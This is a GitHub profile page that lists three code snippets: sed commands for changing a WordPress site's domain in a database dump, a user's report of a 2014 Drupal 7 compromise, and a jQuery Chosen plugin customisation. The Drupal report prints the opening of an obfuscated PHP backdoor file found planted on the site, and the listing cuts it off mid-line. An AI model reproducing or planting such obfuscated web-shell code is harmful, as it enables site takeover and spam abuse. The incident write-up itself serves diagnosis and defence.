Skip to content

Instantly share code, notes, and snippets.

View Strae's full-sized avatar
🎯
Focusing

Daniele P. Strae

🎯
Focusing
View GitHub Profile
@Strae
Strae / Wordpress domain name change
Created February 18, 2016 16:12
Commands to change the domain of a wordpress site acting on the database.
# Remember to escape the dots!! example.com become example\.com
# db.sql the original wordpress db
# dump_02.sql the final one
# cmon its kinda easy, this is just a reminder.
sed 's|http://OLD|http://NEW|g' db.sql > dump_01.sql
sed 's|OLD|NEW|g' dump_01.sql > dump_02.sql
@Strae
Strae / stats7.php
Created October 31, 2014 09:25
Drupal 7 attack october 2014
My host just blocked one of my drupal7 websistes for being use for massive spam.
Analyzing my access log, i found two script being called often and there are not a Drupal scripts:
/sites/all/modules/i18n/i18n_block/stats7.php
/modules/file/bs63d8.php
/sites/all/modules/i18n/i18n_block/stats7.php:
<?php
$vNWZ3B7 = Array('1'=>'6', '0'=>'e', '3'=>'8', '2'=>'L', '5'=>'v', '4'=>'M', '7'=>'2', '6'=>'s', '9'=>'r', '8'=>'q', 'A'=>'l', 'C'=>'Y', 'B'=>'S', 'E'=>'K', 'D'=>'n', 'G'=>'T', 'F'=>'C', 'I'=>'y', 'H'=>'t', 'K'=>'G', 'J'=>'9', 'M'=>'k', 'L'=>'w', 'O'=>'H', 'N'=>'x', 'Q'=>'m', 'P'=>'E', 'S'=>'j', 'R'=>'O', 'U'=>'7', 'T'=>'4', 'W'=>'X', 'V'=>'D', 'Y'=>'d', 'X'=>'Z', 'Z'=>'I', 'a'=>'z', 'c'=>'R', 'b'=>'0', 'e'=>'B', 'd'=>'N', 'g'=>'h', 'f'=>'P', 'i'=>'o', 'h'=>'W', 'k'=>'c', 'j'=>'3', 'm'=>'A', 'l'=>'a', 'o'=>'f', 'n'=>'p', 'q'=>'F', 'p'=>'b', 's'=>'5', 'r'=>'g', 'u'=>'J', 't'=>'u', 'w'=>'U', 'v'=>'V', 'y'=>'Q', 'x'=>'1', 'z'=>'i');
function v5T7ETO($vQF6A3S, $vP8XOME){$v8YITRE = ''; for($i=0; $i < strlen($vQF6A
@Strae
Strae / gist:e055f7285f5fd6b7c069
Created July 25, 2014 08:34
Adding custom htlm elements to chosen
// chosen.jquery.js, function Chosen.prototype.set_up_html, add this in row 582
if('undefined' !== this.options.afterContent){
var afterContent = jQuery(document.createElement('div'))
.addClass('chosen-after-content')
.html(this.options.afterContent);
this.container.find('ul.chosen-results').after(afterContent);
}
// then add your custom html like
jQuery("#foo").chosen({